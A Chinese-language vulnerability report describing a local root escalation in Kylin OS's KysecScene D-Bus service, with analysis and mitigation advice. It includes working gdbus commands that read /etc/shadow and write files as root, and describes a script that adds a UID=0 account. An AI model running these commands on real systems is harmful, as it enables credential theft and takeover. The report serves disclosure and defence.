-
作者:中龙技术 KoWayMin
-
报告日期:2026 年 2 月 12 日
-
漏洞类型:本地权限提升(LPE)
一、漏洞概述
该漏洞存在于麒麟系统中的 com.kylin.KysecScene D-Bus 系统服务。该服务以 root 权限运行,但其 D-Bus 策略配置过于宽松,允许任意本地用户直接调用敏感方法。同时,服务暴露的 LoadJson 与 SaveJson 方法对传入文件路径缺乏访问控制与路径校验,导致低权限用户可借助该服务实现:
-
读取高敏感文件(如
/etc/shadow)。 -
以 root 身份向任意路径写入数据(如
/etc/passwd)。
最终可形成完整的本地提权链,攻击者能够获得 root 权限并完全控制系统。
二、漏洞定位过程
1. 枚举系统 D-Bus 服务
通过以下命令可定位到目标服务:
busctl --system list | grep -i kylin
输出中可见:
com.kylin.KysecScene ... root ...
这表明 KysecScene 由 root 身份运行。
2. 检查 D-Bus 策略文件
策略文件路径如下:
cat /usr/share/dbus-1/system.d/com.kylin.KysecScene.conf
关键配置(原意)为允许默认上下文用户访问该服务:
<policy context="default">
<allow own="com.kylin.KysecScene"/>
<allow send_destination="com.kylin.KysecScene"/>
<allow send_destination="com.kylin.KysecScene"
send_interface="org.freedesktop.DBus.Introspectable"/>
<allow send_destination="com.kylin.KysecScene"
send_interface="org.freedesktop.DBus.Properties"/>
</policy>
该策略意味着本地普通用户也可向目标服务发起方法调用,权限边界被显著削弱。
3. 枚举可调用方法
gdbus introspect --system \
--dest com.kylin.KysecScene \
--object-path /com/kylin/KysecScene
可见核心接口:
LoadJson(in s file_path, out ay arg_1) # 任意文件读取
SaveJson(in s file_path, in ay data, out i arg_2) # 任意文件写入
这两个方法均接受外部提供的文件路径,且报告显示缺乏有效校验。
三、漏洞成因分析
漏洞的本质是“高权限服务 + 低门槛调用 + 危险文件操作接口”三者叠加:
-
服务高权限运行:
KysecScene进程为 root。 -
调用控制过宽:D-Bus 策略向默认本地用户开放。
-
方法缺少安全约束:
LoadJson/SaveJson可操作任意路径,未限制目录、未鉴权、未做安全过滤。
因此,普通用户可借服务完成本应仅 root 才能执行的读写操作,从而打通提权路径。
四、PoC 验证过程
1. 任意文件读取(读取 /etc/shadow)
先验证普通用户无法直接读取:
whoami
cat /etc/shadow
# cat: /etc/shadow: Permission denied
再通过 D-Bus 调用:
gdbus call --system \
--dest com.kylin.KysecScene \
--object-path /com/kylin/KysecScene \
--method com.kylin.KysecScene.LoadJson \
/etc/shadow
返回数据为十六进制字节数组,其中可解析出 root 等账户口令条目信息,证明低权限用户已可越权读取敏感凭据文件。
2. 任意文件写入(以 root 身份写文件)
构造测试数据:
666 YDBYL KYLIN POC\n
转换为字节数组后调用:
gdbus call --system \
--dest com.kylin.KysecScene \
--object-path /com/kylin/KysecScene \
--method com.kylin.KysecScene.SaveJson \
/tmp/kylin_poc \
"[0x36,0x36,0x36,0x20,0x59,0x44,0x42,0x59,0x4c,0x20,0x4b,0x59,0x4c,0x49,0x4e,0x20,0x50,0x4f,0x43,0x0a]"
验证结果:
cat /tmp/kylin_poc
ls -l /tmp/kylin_poc
报告显示该文件所有者为 root,说明普通用户已借助该接口完成 root 权限写入。
3. 完整提权链(poc.py)
![图片[3]-麒麟操作系统 KysecScene D-Bus 服务本地提权漏洞-棉花糖会员站](file:///Users/apple/word/%E5%85%AC%E4%BC%97%E5%8F%B7/%E6%A3%89%E8%8A%B1%E7%B3%96fans/%E6%96%87%E7%AB%A0/%E9%BA%92%E9%BA%9F%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E/2069c13b-8ec1-423c-800d-2053855f802a.png?lastModify=1771980045)
python3 poc.py --rf <file> | --useradd <username>
-
--rf /etc/shadow:演示敏感文件读取。 -
--useradd testuser2:向系统账户文件写入 UID=0 用户。
复现输出显示:
uid=0(testuser2) gid=0(root)
即普通用户可进一步获取 root shell,并访问 /root 目录,实现完全接管。
五、影响评估
该漏洞可导致以下安全后果:
-
敏感信息泄露:读取
/etc/shadow等核心文件。 -
任意文件篡改:覆盖系统配置或认证文件。
-
本地权限提升至 root:创建 UID=0 账户、植入后门、维持持久化控制。
-
系统完全失陷:完整性、机密性、可用性均受到严重威胁。
六、结论
com.kylin.KysecScene 的核心问题在于:以 root 运行的系统服务向普通本地用户暴露了缺乏校验的文件读写能力。该设计缺陷使攻击者无需内核漏洞,仅通过 D-Bus 接口即可从低权限用户提升到 root,属于高危本地提权漏洞。
从防护角度看,必须同时收紧 D-Bus 调用策略与接口输入校验,避免高权限服务直接对外提供任意路径文件操作能力。













请登录后查看评论内容